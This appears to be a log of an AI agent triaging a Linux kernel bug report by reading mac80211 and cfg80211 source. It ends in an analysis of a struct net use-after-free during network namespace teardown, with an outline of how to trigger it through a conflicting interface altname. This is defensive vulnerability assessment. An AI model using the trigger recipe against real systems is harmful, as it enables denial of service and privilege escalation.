Results: map[Output:drivers/net/wireless/virtual/mac80211_hwsim_main.c=6210=static void hwsim_mcast_del_radio(int id, const char *hwname,
--
drivers/net/wireless/virtual/mac80211_hwsim_main.c-6244-
drivers/net/wireless/virtual/mac80211_hwsim_main.c:6245:static void mac80211_hwsim_del_radio(struct mac80211_hwsim_data *data,
drivers/net/wireless/virtual/mac80211_hwsim_main.c-6246- const char *hwname,
--
drivers/net/wireless/virtual/mac80211_hwsim_main.c=6304=static void mac80211_hwsim_free(void)
--
drivers/net/wireless/virtual/mac80211_hwsim_main.c-6315- spin_unlock_bh(&hwsim_radio_lock);
drivers/net/wireless/virtual/mac80211_hwsim_main.c:6316: mac80211_hwsim_del_radio(data, wiphy_name(data->hw->wiphy),
drivers/net/wireless/virtual/mac80211_hwsim_main.c-6317- NULL);
--
drivers/net/wireless/virtual/mac80211_hwsim_main.c=6965=static int hwsim_del_radio_nl(struct sk_buff *msg, struct genl_info *info)
--
drivers/net/wireless/virtual/mac80211_hwsim_main.c-7000- spin_unlock_bh(&hwsim_radio_lock);
drivers/net/wireless/virtual/mac80211_hwsim_main.c:7001: mac80211_hwsim_del_radio(data, wiphy_name(data->hw->wiphy),
drivers/net/wireless/virtual/mac80211_hwsim_main.c-7002- info);
--
drivers/net/wireless/virtual/mac80211_hwsim_main.c=7161=static void remove_user_radios(u32 portid, int netgroup)
--
drivers/net/wireless/virtual/mac80211_hwsim_main.c-7179- list_del(&entry->list);
drivers/net/wireless/virtual/mac80211_hwsim_main.c:7180: mac80211_hwsim_del_radio(entry, wiphy_name(entry->hw->wiphy),
drivers/net/wireless/virtual/mac80211_hwsim_main.c-7181- NULL);
--
drivers/net/wireless/virtual/mac80211_hwsim_main.c=7237=static void __net_exit hwsim_exit_net(struct net *net)
--
drivers/net/wireless/virtual/mac80211_hwsim_main.c-7259- list_del(&data->list);
drivers/net/wireless/virtual/mac80211_hwsim_main.c:7260: mac80211_hwsim_del_radio(data,
drivers/net/wireless/virtual/mac80211_hwsim_main.c-7261- wiphy_name(data->hw->wiphy),
]
|
| 138/2 |
2026/08/26 10:08 |
llm |
expert |
0m
Model:
Tokens:
input: 90408
output: 50
thoughts: 0
|
| 139/2 |
2026/08/26 10:08 |
tool |
read-file |
0m
Args: map[File:drivers/net/wireless/virtual/mac80211_hwsim_main.c FirstLine:6245 LineCount:40]
Results: map[Contents:6245: static void mac80211_hwsim_del_radio(struct mac80211_hwsim_data *data,
6246: const char *hwname,
6247: struct genl_info *info)
6248: {
6249: hwsim_mcast_del_radio(data->idx, hwname, info);
6250: debugfs_remove_recursive(data->debugfs);
6251: ieee80211_unregister_hw(data->hw);
6252: device_release_driver(data->dev);
6253: device_unregister(data->dev);
6254: ieee80211_free_hw(data->hw);
6255: }
6256:
6257: static int mac80211_hwsim_get_radio(struct sk_buff *skb,
6258: struct mac80211_hwsim_data *data,
6259: u32 portid, u32 seq,
6260: struct netlink_callback *cb, int flags)
6261: {
6262: void *hdr;
6263: struct hwsim_new_radio_params param = { };
6264: int res = -EMSGSIZE;
6265:
6266: hdr = genlmsg_put(skb, portid, seq, &hwsim_genl_family, flags,
6267: HWSIM_CMD_GET_RADIO);
6268: if (!hdr)
6269: return -EMSGSIZE;
6270:
6271: if (cb)
6272: genl_dump_check_consistent(cb, hdr);
6273:
6274: if (data->alpha2[0] && data->alpha2[1])
6275: param.reg_alpha2 = data->alpha2;
6276:
6277: param.reg_strict = !!(data->hw->wiphy->regulatory_flags &
6278: REGULATORY_STRICT_REG);
6279: param.p2p_device = !!(data->hw->wiphy->interface_modes &
6280: BIT(NL80211_IFTYPE_P2P_DEVICE));
6281: param.nan_device = !!(data->hw->wiphy->interface_modes &
6282: BIT(NL80211_IFTYPE_NAN));
6283: param.use_chanctx = data->use_chanctx;
6284: param.regd = data->regd;
]
|
| 140/2 |
2026/08/26 10:08 |
llm |
expert |
0m
Model:
Tokens:
input: 91188
output: 40
thoughts: 38
Thoughts: Okay, here's my interpretation of that thought process, tailored for an expert audience:
**Unregistering the Hardware**
Alright, the code's calling `ieee80211_unregister_hw(data->hw)`. I immediately know that means we're in the process of de-initializing or removing a wireless network device. `ieee80211_unregister_hw` is the standard kernel function for doing precisely that within the mac80211 framework. Given the context, it's very likely happening during device removal, module unload, or a driver reset.
My next immediate thought is to confirm what exactly this function does. I need to refresh my memory on the internal mechanisms of that function. I'll need to double-check what is happening in `ieee80211_unregister_hw` and what specific resources are being cleaned up β especially any interrupt handlers, DMA mappings, regulatory domain registrations, and of course, the association with the hardware itself. Any potential race conditions during this unregistration is of key importance in a complex wireless system.
|
| 141/2 |
2026/08/26 10:08 |
tool |
grepper |
0m
Args: map[Expression:ieee80211_unregister_hw PathPrefix:net/mac80211/]
Results: map[Output:net/mac80211/main.c=1694=EXPORT_SYMBOL(ieee80211_register_hw);
net/mac80211/main.c-1695-
net/mac80211/main.c:1696:void ieee80211_unregister_hw(struct ieee80211_hw *hw)
net/mac80211/main.c-1697-{
--
net/mac80211/main.c-1744-}
net/mac80211/main.c:1745:EXPORT_SYMBOL(ieee80211_unregister_hw);
net/mac80211/main.c-1746-
]
|
| 142/2 |
2026/08/26 10:08 |
llm |
expert |
0m
Model:
Tokens:
input: 91703
output: 41
thoughts: 0
|
| 143/2 |
2026/08/26 10:08 |
tool |
read-file |
0m
Args: map[File:net/mac80211/main.c FirstLine:1696 LineCount:40]
Results: map[Contents:1696: void ieee80211_unregister_hw(struct ieee80211_hw *hw)
1697: {
1698: struct ieee80211_local *local = hw_to_local(hw);
1699:
1700: tasklet_kill(&local->tx_pending_tasklet);
1701: tasklet_kill(&local->tasklet);
1702:
1703: #ifdef CONFIG_INET
1704: unregister_inetaddr_notifier(&local->ifa_notifier);
1705: #endif
1706: #if IS_ENABLED(CONFIG_IPV6)
1707: unregister_inet6addr_notifier(&local->ifa6_notifier);
1708: #endif
1709:
1710: rtnl_lock();
1711:
1712: /*
1713: * At this point, interface list manipulations are fine
1714: * because the driver cannot be handing us frames any
1715: * more and the tasklet is killed.
1716: */
1717: ieee80211_remove_interfaces(local);
1718:
1719: ieee80211_txq_teardown_flows(local);
1720:
1721: wiphy_lock(local->hw.wiphy);
1722: wiphy_delayed_work_cancel(local->hw.wiphy, &local->roc_work);
1723: wiphy_work_cancel(local->hw.wiphy, &local->reconfig_filter);
1724: wiphy_work_cancel(local->hw.wiphy, &local->sched_scan_stopped_work);
1725: wiphy_work_cancel(local->hw.wiphy, &local->radar_detected_work);
1726: wiphy_unlock(local->hw.wiphy);
1727: rtnl_unlock();
1728:
1729: cancel_work_sync(&local->restart_work);
1730:
1731: ieee80211_clear_tx_pending(local);
1732: rate_control_deinitialize(local);
1733:
1734: if (skb_queue_len(&local->skb_queue) ||
1735: skb_queue_len(&local->skb_queue_unreliable))
]
|
| 144/2 |
2026/08/26 10:08 |
llm |
expert |
0m
Model:
Tokens:
input: 92420
output: 40
thoughts: 39
Thoughts: Okay, here's my interpretation of that thought process, from an expert's perspective:
**Diving into Interface Removal**
Right, so `ieee80211_remove_interfaces(local)` is getting invoked. That's a key function for managing the state of 802.11 interfaces. This is where the rubber meets the road when an interface is being torn down, perhaps due to a disconnection, driver unload, or a reconfiguration event. The fact that this function is being called triggers a cascade of questions in my mind, concerning the what, the how, and the why.
My immediate next step is to examine the `ieee80211_remove_interfaces` function itself. I need to understand what specific actions it's taking β is it gracefully shutting down the hardware, unregistering the interfaces from the network stack, releasing associated resources like memory, or maybe notifying other subsystems of the impending removal? I'll probably be paying particular attention to how it handles potential race conditions or concurrent access issues, because interface removal is often a highly sensitive area. I will also be looking for any indications of cleanup, such as freeing associated data structures and making sure the wireless station and other entities are properly signaled and shutdown before being removed.
|
| 145/2 |
2026/08/26 10:08 |
tool |
grepper |
0m
Args: map[Expression:ieee80211_remove_interfaces PathPrefix:net/mac80211/]
Results: map[Output:net/mac80211/ieee80211_i.h=2190=void ieee80211_if_remove(struct ieee80211_sub_if_data *sdata);
net/mac80211/ieee80211_i.h:2191:void ieee80211_remove_interfaces(struct ieee80211_local *local);
net/mac80211/ieee80211_i.h-2192-u32 ieee80211_idle_off(struct ieee80211_local *local);
--
net/mac80211/iface.c=2440=void ieee80211_sdata_stop(struct ieee80211_sub_if_data *sdata)
--
net/mac80211/iface.c-2446-
net/mac80211/iface.c:2447:void ieee80211_remove_interfaces(struct ieee80211_local *local)
net/mac80211/iface.c-2448-{
--
net/mac80211/main.c=1137=int ieee80211_register_hw(struct ieee80211_hw *hw)
--
net/mac80211/main.c-1682- rate_control_deinitialize(local);
net/mac80211/main.c:1683: ieee80211_remove_interfaces(local);
net/mac80211/main.c-1684- rtnl_unlock();
--
net/mac80211/main.c=1696=void ieee80211_unregister_hw(struct ieee80211_hw *hw)
--
net/mac80211/main.c-1716- */
net/mac80211/main.c:1717: ieee80211_remove_interfaces(local);
net/mac80211/main.c-1718-
]
|
| 146/2 |
2026/08/26 10:08 |
llm |
expert |
0m
Model:
Tokens:
input: 93344
output: 42
thoughts: 0
|
| 147/2 |
2026/08/26 10:09 |
tool |
read-file |
0m
Args: map[File:net/mac80211/iface.c FirstLine:2447 LineCount:20]
Results: map[Contents:2447: void ieee80211_remove_interfaces(struct ieee80211_local *local)
2448: {
2449: struct ieee80211_sub_if_data *sdata, *tmp;
2450: LIST_HEAD(unreg_list);
2451:
2452: ASSERT_RTNL();
2453:
2454: /* Before destroying the interfaces, make sure they're all stopped so
2455: * that the hardware is stopped. Otherwise, the driver might still be
2456: * iterating the interfaces during the shutdown, e.g. from a worker
2457: * or from RX processing or similar, and if it does so (using atomic
2458: * iteration) while we're manipulating the list, the iteration will
2459: * crash.
2460: *
2461: * After this, the hardware should be stopped and the driver should
2462: * have stopped all of its activities, so that we can do RCU-unaware
2463: * manipulations of the interface list below.
2464: */
2465: cfg80211_shutdown_all_interfaces(local->hw.wiphy);
2466:
]
|
| 148/2 |
2026/08/26 10:09 |
llm |
expert |
0m
Model:
Tokens:
input: 93738
output: 42
thoughts: 51
Thoughts: Okay, let me think this through.
**Analyzing the Interface Shutdown Procedure**
Hmm, so `cfg80211_shutdown_all_interfaces`... does that *actually* unregister the network devices? It seems like it's supposed to be about a clean shutdown, not a removal, but I should double check. No, wait, on second thought, it just stops them. Okay, that makes more sense. Let's dig deeper. The real meat of the interface removal should be in `ieee80211_remove_interfaces`. I need to review what that function *actually* does. Time to go spelunking in the code.
|
| 149/2 |
2026/08/26 10:09 |
tool |
read-file |
0m
Args: map[File:net/mac80211/iface.c FirstLine:2467 LineCount:40]
Results: map[Contents:2467: guard(wiphy)(local->hw.wiphy);
2468:
2469: WARN(local->open_count, "%s: open count remains %d\n",
2470: wiphy_name(local->hw.wiphy), local->open_count);
2471:
2472: mutex_lock(&local->iflist_mtx);
2473: list_splice_init(&local->interfaces, &unreg_list);
2474: mutex_unlock(&local->iflist_mtx);
2475:
2476: list_for_each_entry_safe(sdata, tmp, &unreg_list, list) {
2477: bool netdev = sdata->dev;
2478:
2479: /*
2480: * Remove IP addresses explicitly, since the notifier will
2481: * skip the callbacks if wdev->registered is false, since
2482: * we can't acquire the wiphy_lock() again there if already
2483: * inside this locked section.
2484: */
2485: sdata->vif.cfg.arp_addr_cnt = 0;
2486: if (sdata->vif.type == NL80211_IFTYPE_STATION &&
2487: sdata->u.mgd.associated)
2488: ieee80211_vif_cfg_change_notify(sdata,
2489: BSS_CHANGED_ARP_FILTER);
2490:
2491: list_del(&sdata->list);
2492: cfg80211_unregister_wdev(&sdata->wdev);
2493:
2494: if (!netdev)
2495: kfree(sdata);
2496: }
2497: }
2498:
2499: static int netdev_notify(struct notifier_block *nb,
2500: unsigned long state, void *ptr)
2501: {
2502: struct net_device *dev = netdev_notifier_info_to_dev(ptr);
2503: struct ieee80211_sub_if_data *sdata;
2504:
2505: if (state != NETDEV_CHANGENAME)
2506: return NOTIFY_DONE;
]
|
| 150/2 |
2026/08/26 10:09 |
llm |
expert |
0m
Model:
Tokens:
input: 94633
output: 66
thoughts: 3651
Thoughts: **Analysis of a Kernel Lockdep Warning and Use-After-Free Vulnerability**
Okay, so I've been tracing the root cause of this lockdep warning. It all boils down to how `cfg80211_pernet_exit` handles the unregistration of a wireless device (wiphy) when a network namespace is being torn down. Initially, `ieee80211_remove_interfaces` calls `cfg80211_unregister_wdev`, which in turn calls `unregister_netdevice`, creating a list to be later processed, all while holding `wiphy->mtx`. The critical point is that, the `ndo_uninit` function *should* be called with `wiphy->mtx` held, but the lockdep warning appears because in the reproducer, `ndo_uninit` gets called *without* this lock being held.
The key observation is that `cleanup_net`, not `ieee80211_remove_interfaces`, ends up calling `unregister_netdevice_many` directly, and it does *not* hold `wiphy->mtx`. This happens because `cfg80211_pernet_exit` failed to move the wiphy back to the `init_net` namespace. If that move had succeeded, the netdevices would've been correctly unregistered *later*, under the correct lock. Now the wiphy's `wiphy_net` still points to the freed netns!
So, the failure to move the wiphy is the root of the problem. That leads to a classic use-after-free of the `struct net` structure when an event is sent, say from the `nl80211_notify_wiphy` function via `genlmsg_multicast_netns`. And given that `struct net` is large and contains various function pointers, the consequences are severe: arbitrary code execution or privilege escalation are possible.
Now, can an unprivileged user exploit this? With the `mac80211_hwsim` driver loaded, yes! If they can create a user namespace. However, the crux is a scenario where the user CAN'T create a new namespace, but still potentially has a real wiphy. Now, even without a new user namespace, an unprivileged user can trigger this if they can create an altname conflict. If a user can craft a scenario where `cfg80211_switch_netns` fails because of a name conflict when moving interfaces back to `init_net`, the use-after-free occurs.
A reliable method to achieve this is adding an altname to a wlan interface in a user namespace that conflicts with a primary name (or altname) in `init_net`. Specifically, the bug report details this: An altname like 'eth0' that already exists as the primary interface name in `init_net`, will cause the move to fail. This is the crucial finding! The exploit doesn't require `CAP_NET_ADMIN` in `init_net`, only that the user has a way to make the altname conflict exist during the namespace teardown. They can add a conflicting altname, like "eth0", that exists in the init namespace. This is the most reliable triggering scenario.
Therefore the bug is exploitable, results in a denial of service, and is reachable from user namespaces.
The UAF itself stems from the wiphy's `wiphy_net` still referencing the freed network namespace, so dereferencing this pointer leads to the crash.
So, in summary, this is a valid kernel bug.
Potential mitigations could involve forcefully removing the altname that conflicted, unregistering the wiphy if it cannot be moved back to the `init_net`. The most critical thing is to resolve the error in `cfg80211_switch_netns`.
|
| 151/2 |
2026/08/26 10:09 |
tool |
set-results |
0m
Args: map[DenialOfService:true Exploitable:true FilesystemTrigger:false NetworkTrigger:false PeripheralTrigger:false RemoteTrigger:false Unprivileged:false UserNamespace:true VMGuestTrigger:false VMHostTrigger:false]
Results: map[DenialOfService:true Exploitable:true FilesystemTrigger:false NetworkTrigger:false PeripheralTrigger:false RemoteTrigger:false Unprivileged:false UserNamespace:true VMGuestTrigger:false VMHostTrigger:false]
|
| 152/2 |
2026/08/26 10:09 |
llm |
expert |
0m
Model:
Tokens:
input: 99238
output: 814
thoughts: 632
Thoughts: **My Analysis of the cfg80211 UAF Bug**
Alright, the data's in, and I need to formulate a clear explanation. This is a classic use-after-free vulnerability, specifically within the `cfg80211` subsystem, involving the `struct net` object. The trigger is pretty interesting; it happens when a wireless device (wiphy) fails to transition back to the initial network namespace, `init_net`, during the removal of a user-created network namespace.
So, here's the scenario: the kernel attempts to migrate the wiphy back to `init_net` during namespace destruction using `cfg80211_pernet_exit()` and ultimately, `cfg80211_switch_netns()`. This function iterates through the interfaces associated with the wiphy and calls `dev_change_net_namespace()`. Now, the critical failure point: If an interface's alternative name, the altname, clashes with an existing interface name or altname already present in `init_net`, `dev_change_net_namespace()` bails out with an `-EEXIST` error. But here's the kicker: `cfg80211_pernet_exit()` doesn't handle this failure gracefully; it just spits out a `WARN_ON()` and keeps going.
This is a problem! Because of the function not handling the error, the wiphy is effectively left dangling, and its `wiphy_net` pointer still references the doomed network namespace. After the namespace is completely destroyed and its `struct net` is released, the wiphy remains registered within `cfg80211`. Any subsequent operations involving this wiphy, like deleting it (which triggers `nl80211_notify_wiphy()`), will attempt to access the freed `struct net` pointerβI'm looking at you, `net->genl_sock` in `genlmsg_multicast_netns()`βand *boom*, use-after-free.
That lockdep warning mentioned in the report? That's a direct result of this. Because the interfaces weren't successfully moved, they get forcefully unregistered by the dying namespace's `cleanup_net()` routine. This sidesteps the usual `mac80211` teardown process, causing `ndo_uninit` to be called *without* holding the `wiphy->mtx` lock. Lockdep detects this violation, causing it to assert.
I can see how an attacker could exploit this, it's pretty reliable. You would:
1. Create a user and network namespace.
2. Create a software wiphy, I'm thinking something like `mac80211_hwsim`.
3. Add an altname to the wlan interface that intentionally causes a conflict, probably something already in `init_net`.
4. Exit the namespace to trigger the UAF.
This UAF could be used for a denial-of-service, a kernel panic, or worse, someone could gain arbitrary code execution and escalate privileges if the `struct net` object is carefully corrupted. Now, I have my framework to respond to this issue.
|
| 153/1 |
2026/08/26 10:10 |
action |
format-explanation |
0m
Results: map[Explanation:Based on the analysis of the bug report and the provided reproducer, here is the
assessment of the vulnerability:
### Root Cause Analysis
The bug is a **Use-After-Free (UAF) of `struct net`** in the `cfg80211`
subsystem, which is triggered when a wireless hardware device (wiphy) fails to
be moved back to the initial network namespace (`init_net`) during the
destruction of a user-created network namespace.
When a network namespace is destroyed, the kernel invokes
`cfg80211_pernet_exit()`, which attempts to rescue any wiphy present in that
namespace by moving it back to `init_net` via `cfg80211_switch_netns()`. This
function iterates over the wiphy's network interfaces and calls
`dev_change_net_namespace()`.
If an interface has an alternative name (altname) that conflicts with an
existing interface name or altname in `init_net` (e.g., `eth0` or `lo`),
`dev_change_net_namespace()` fails with `-EEXIST`. Because
`cfg80211_pernet_exit()` only issues a `WARN_ON()` and does not handle the
failure, the wiphy is left behind with its `wiphy_net` pointer still referencing
the dying network namespace.
Once the namespace is fully destroyed and its `struct net` is freed, the wiphy
remains registered in `cfg80211`. Any subsequent netlink events or commands
involving this wiphy (such as deleting the wiphy, which triggers
`nl80211_notify_wiphy()`) will dereference the freed `struct net` pointer (e.g.,
accessing `net->genl_sock` in `genlmsg_multicast_netns()`), leading to a classic
use-after-free.
The lockdep warning shown in the bug report (`WARNING: net/wireless/core.c:1957
at wiphy_delayed_work_cancel`) is a direct side effect of this failure: because
the interfaces were not moved to `init_net`, they are forcefully unregistered by
the dying namespace's `cleanup_net()` routine. This bypasses the normal
`mac80211` teardown sequence, causing `ndo_uninit` to be invoked without holding
the `wiphy->mtx` lock, which triggers the lockdep assertion.
### Security Impact
* **Exploitable:** **Yes.** The UAF of `struct net` can be leveraged by an
attacker to corrupt memory, leak information, or hijack control flow (e.g., via
function pointers within the `struct net` or overlapping objects), leading to
privilege escalation.
* **Denial Of Service:** **Yes.** Dereferencing the freed `struct net` pointer
will reliably cause a kernel panic.
* **Accessible From User Namespaces:** **Yes.** An unprivileged user can trigger
this bug if they can create a user namespace and a network namespace. They can
use a software wiphy (e.g., via `mac80211_hwsim`, if the module is loaded) to
create a radio, assign it an altname that intentionally conflicts with a known
interface in `init_net` (like `eth0`), and then destroy the namespace to trigger
the UAF.
* **Accessible From Unprivileged Processes:** **No.** Triggering the bug
requires `CAP_NET_ADMIN` to add altnames and manipulate the wiphy, which is only
available to unprivileged users if they can transition into a new user
namespace.
### Conclusion
This is a highly exploitable Use-After-Free vulnerability accessible from user
namespaces. It allows a local attacker to crash the system or potentially
escalate privileges by intentionally causing an interface altname collision
during network namespace teardown.]
|